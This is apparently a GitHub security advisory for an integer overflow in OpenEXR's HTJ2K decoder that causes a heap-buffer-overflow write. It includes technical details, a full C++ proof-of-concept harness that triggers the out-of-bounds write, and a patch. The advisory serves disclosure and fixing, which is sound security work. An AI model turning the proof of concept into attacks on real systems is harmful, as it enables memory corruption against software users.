GHSA-777r-f9x8-7r84
CVE Information
## Summary
An integer overflow in
ht_undo_impl()insrc/lib/OpenEXRCore/internal_ht.cppleads to a heap-buffer-overflow when decoding a crafted HTJ2K-compressed EXR file.## Details
At line 188-189,
decode->channels[i].width(int32_t) is multiplied bydecode->channels[i].bytes_per_element(int8_t) in 32-bit signed arithmetic. When width >= 536870912 with FLOAT channels (bpe=4), the product exceeds INT32_MAX, causing signed integer overflow. The overflowed value is stored inraster_line_offsetand later used as a pointer offset at line 313, resulting in an out-of-bounds write past the heap-allocated decompression buffer.The same overflow pattern exists at two additional locations: - Line 215-216:
bplaccumulator (the existingbpl > INT32_MAXcheck at line 221 is ineffective because it validates the already-overflowed result) - Line 281-282:line_pixelspointer advancementThis is a variant of the same
width * bytes_per_elementint32 overflow pattern fixed in CVE-2026-34378 through CVE-2026-34589 for other codecs (unpack, DWA, PIZ), but the HTJ2K decoder was missed in that fix wave.## Impact
- CWE-190 (Integer Overflow) leading to CWE-787 (Out-of-bounds Write)
- ASAN confirmation:
heap-buffer-overflow WRITE of size 4atinternal_ht.cpp:317, 0 bytes after a 2048-byte heap allocation- CVSS 3.1: AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H (6.1 Medium)
## Reproduction
Build (ASAN + NDEBUG): cmake .. -DCMAKE_BUILD_TYPE=Release -DCMAKE_C_FLAGS_RELEASE="-O1 -g -DNDEBUG -fsanitize=address -fno-omit-frame-pointer" -DCMAKE_CXX_FLAGS_RELEASE="-O1 -g -DNDEBUG -fsanitize=address -fno-omit-frame-pointer" -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" -DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address"
The attached harness (
harness_openexr_ht_asan.cpp) writes a valid 256x1 2-channel FLOAT HTJ2K EXR, initializes a decode pipeline, setsdecoder.channels[c].width = 536870913, then callsexr_decoding_run().## Suggested Fix
Cast operands to
size_t/int64_tbefore multiplication at all three locations (patch attached):- computedoffset += decode->channels[i].width * - decode->channels[i].bytes_per_element; + computedoffset += (size_t) decode->channels[i].width * + (size_t) decode->channels[i].bytes_per_element; Patch verified: ASAN finding eliminated, 63/63 core tests pass (including testHTChannelMap). Credit Reporter: storm / rhwnsdyd1112@gmail.com --- ## Harness (harness_openexr_ht_asan.cpp) <details> <summary>Click to expand</summary> ```cpp /* * ASAN harness: OpenEXR HTJ2K integer overflow -> heap-buffer-overflow * Target: src/lib/OpenEXRCore/internal_ht.cpp:188 -> line 313 * * Strategy: * 1. Write a valid 256x1 2-channel FLOAT HTJ2K EXR * 2. Open and initialize decode pipeline (channels get width=256) * 3. Tamper decoder.channels[c].width to 536870913 (triggers int32 overflow) * 4. Run decode: J2K decompression succeeds (data is valid 256px), * but raster_line_offset is computed from overflowed width * -> OOB write at line 313 -> ASAN heap-buffer-overflow * * Build requirement: OpenEXR compiled with -fsanitize=address -DNDEBUG * (NDEBUG removes the debug assert at line 291 that would mask the OOB) */ #include <openexr.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> static void err_handler(exr_const_context_t ctxt, int code, const char* msg) { (void)ctxt; fprintf(stderr, "[EXR ERROR %d] %s\n", code, msg); } static int write_valid_htj2k_exr(const char* filename) { exr_context_t wctxt = NULL; exr_context_initializer_t winit; exr_result_t rv; int part_index = 0; exr_attr_box2i_t datawin = { {0, 0}, {255, 0} }; exr_attr_box2i_t dispwin = { {0, 0}, {255, 0} }; exr_encode_pipeline_t encoder; exr_chunk_info_t cinfo; float g_pixels[256]; float r_pixels[256]; memset(&winit, 0, sizeof(winit)); winit.error_handler_fn = err_handler; rv = exr_start_write(&wctxt, filename, EXR_WRITE_FILE_DIRECTLY, &winit); if (rv != EXR_ERR_SUCCESS) { fprintf(stderr, "[-] exr_start_write failed: %d\n", rv); return -1; } rv = exr_add_part(wctxt, "main", EXR_STORAGE_SCANLINE, &part_index); if (rv != EXR_ERR_SUCCESS) goto fail; rv = exr_set_compression(wctxt, part_index, EXR_COMPRESSION_HTJ2K256); if (rv != EXR_ERR_SUCCESS) goto fail; rv = exr_set_lineorder(wctxt, part_index, EXR_LINEORDER_INCREASING_Y); if (rv != EXR_ERR_SUCCESS) goto fail; rv = exr_set_pixel_aspect_ratio(wctxt, part_index, 1.0f); if (rv != EXR_ERR_SUCCESS) goto fail; { exr_attr_v2f_t swc = {0.0f, 0.0f}; rv = exr_set_screen_window_center(wctxt, part_index, &swc); if (rv != EXR_ERR_SUCCESS) goto fail; } rv = exr_set_screen_window_width(wctxt, part_index, 1.0f); if (rv != EXR_ERR_SUCCESS) goto fail; rv = exr_set_data_window(wctxt, part_index, &datawin); if (rv != EXR_ERR_SUCCESS) goto fail; rv = exr_set_display_window(wctxt, part_index, &dispwin); if (rv != EXR_ERR_SUCCESS) goto fail; rv = exr_add_channel(wctxt, part_index, "G", EXR_PIXEL_FLOAT, EXR_PERCEPTUALLY_LOGARITHMIC, 1, 1); if (rv != EXR_ERR_SUCCESS) goto fail; rv = exr_add_channel(wctxt, part_index, "R", EXR_PIXEL_FLOAT, EXR_PERCEPTUALLY_LOGARITHMIC, 1, 1); if (rv != EXR_ERR_SUCCESS) goto fail; rv = exr_write_header(wctxt); if (rv != EXR_ERR_SUCCESS) goto fail; memset(&encoder, 0, sizeof(encoder)); rv = exr_write_scanline_chunk_info(wctxt, part_index, 0, &cinfo); if (rv != EXR_ERR_SUCCESS) goto fail; rv = exr_encoding_initialize(wctxt, part_index, &cinfo, &encoder); if (rv != EXR_ERR_SUCCESS) goto fail; rv = exr_encoding_choose_default_routines(wctxt, part_index, &encoder); if (rv != EXR_ERR_SUCCESS) { exr_encoding_destroy(wctxt, &encoder); goto fail; } for (int i = 0; i < 256; ++i) { g_pixels[i] = (float)i / 256.0f; r_pixels[i] = 1.0f - (float)i / 256.0f; } for (int c = 0; c < encoder.channel_count; ++c) { if (strcmp(encoder.channels[c].channel_name, "G") == 0) { encoder.channels[c].encode_from_ptr = (const uint8_t*)g_pixels; encoder.channels[c].user_pixel_stride = 4; encoder.channels[c].user_line_stride = 1024; } else { encoder.channels[c].encode_from_ptr = (const uint8_t*)r_pixels; encoder.channels[c].user_pixel_stride = 4; encoder.channels[c].user_line_stride = 1024; } } rv = exr_encoding_run(wctxt, part_index, &encoder); if (rv != EXR_ERR_SUCCESS) { fprintf(stderr, "[-] exr_encoding_run failed: %d\n", rv); exr_encoding_destroy(wctxt, &encoder); goto fail; } exr_encoding_destroy(wctxt, &encoder); exr_finish(&wctxt); return 0; fail: fprintf(stderr, "[-] Write failed: %d\n", rv); exr_finish(&wctxt); return -1; } int main(void) { const char* filename = "/tmp/ht_asan_poc.exr"; int32_t overflow_width = 536870913; fprintf(stderr, "=== OpenEXR HTJ2K ASAN Harness ===\n"); fprintf(stderr, "[*] Overflow width: %d\n", overflow_width); fprintf(stderr, "[*] width * 4 (int32): %d (overflows)\n", (int32_t)((int32_t)overflow_width * (int32_t)4)); fprintf(stderr, "\n"); fprintf(stderr, "--- Step 1: Write valid 256x1 HTJ2K EXR ---\n"); if (write_valid_htj2k_exr(filename) != 0) return 1; fprintf(stderr, "[+] Valid EXR written.\n\n"); fprintf(stderr, "--- Step 2: Open and init decode pipeline ---\n"); exr_context_t rctxt = NULL; exr_context_initializer_t rinit; memset(&rinit, 0, sizeof(rinit)); rinit.error_handler_fn = err_handler; rinit.max_image_width = 0; rinit.max_image_height = 0; exr_result_t rv = exr_start_read(&rctxt, filename, &rinit); if (rv != EXR_ERR_SUCCESS) { fprintf(stderr, "[-] exr_start_read failed: %d\n", rv); return 1; } exr_chunk_info_t cinfo; rv = exr_read_scanline_chunk_info(rctxt, 0, 0, &cinfo); if (rv != EXR_ERR_SUCCESS) { fprintf(stderr, "[-] exr_read_scanline_chunk_info failed: %d\n", rv); exr_finish(&rctxt); return 1; } fprintf(stderr, "[*] Chunk: width=%d height=%d unpacked=%llu\n", cinfo.width, cinfo.height, (unsigned long long)cinfo.unpacked_size); exr_decode_pipeline_t decoder; memset(&decoder, 0, sizeof(decoder)); rv = exr_decoding_initialize(rctxt, 0, &cinfo, &decoder); if (rv != EXR_ERR_SUCCESS) { fprintf(stderr, "[-] exr_decoding_initialize failed: %d\n", rv); exr_finish(&rctxt); return 1; } rv = exr_decoding_choose_default_routines(rctxt, 0, &decoder); if (rv != EXR_ERR_SUCCESS) { fprintf(stderr, "[-] exr_decoding_choose_default_routines failed: %d\n", rv); exr_decoding_destroy(rctxt, &decoder); exr_finish(&rctxt); return 1; } fprintf(stderr, "[*] Pipeline initialized, %d channels:\n", decoder.channel_count); for (int c = 0; c < decoder.channel_count; c++) { fprintf(stderr, "[*] ch%d '%s': width=%d bpe=%d\n", c, decoder.channels[c].channel_name, decoder.channels[c].width, decoder.channels[c].bytes_per_element); } fprintf(stderr, "\n--- Step 3: Tamper channel widths ---\n"); for (int c = 0; c < decoder.channel_count; c++) { decoder.channels[c].width = overflow_width; } fprintf(stderr, "[*] All channel widths set to %d\n", overflow_width); fprintf(stderr, "[*] int32(width * bpe) = %d (signed overflow)\n", (int32_t)((int32_t)overflow_width * (int32_t)4)); fprintf(stderr, "\n--- Step 4: Run decode (expect ASAN heap-buffer-overflow) ---\n"); rv = exr_decoding_run(rctxt, 0, &decoder); fprintf(stderr, "[*] exr_decoding_run returned: %d\n", rv); exr_decoding_destroy(rctxt, &decoder); exr_finish(&rctxt); return 0; }## Patch (fix_ht_overflow.diff)
diff --git a/src/lib/OpenEXRCore/internal_ht.cpp b/src/lib/OpenEXRCore/internal_ht.cpp index 12ccea4..12af0f9 100644 --- a/src/lib/OpenEXRCore/internal_ht.cpp +++ b/src/lib/OpenEXRCore/internal_ht.cpp @@ -185,8 +185,8 @@ ht_undo_impl ( size_t computedoffset = 0; for (int i = 0; i < file_i; ++i) - computedoffset += decode->channels[i].width * - decode->channels[i].bytes_per_element; + computedoffset += (size_t) decode->channels[i].width * + (size_t) decode->channels[i].bytes_per_element; cs_to_file_ch[cs_i].raster_line_offset = computedoffset; } @@ -213,7 +213,7 @@ ht_undo_impl ( for (int16_t c = 0; c < decode->channel_count; c++) { bpl += - decode->channels[c].bytes_per_element * decode->channels[c].width; + (int64_t) decode->channels[c].bytes_per_element * (int64_t) decode->channels[c].width; if (decode->channels[c].x_samples > 1 || decode->channels[c].y_samples > 1) { is_planar = true; } @@ -278,8 +278,8 @@ ht_undo_impl ( } } - line_pixels += decode->channels[line_c].bytes_per_element * - decode->channels[line_c].width; + line_pixels += (size_t) decode->channels[line_c].bytes_per_element * + (size_t) decode->channels[line_c].width; } } }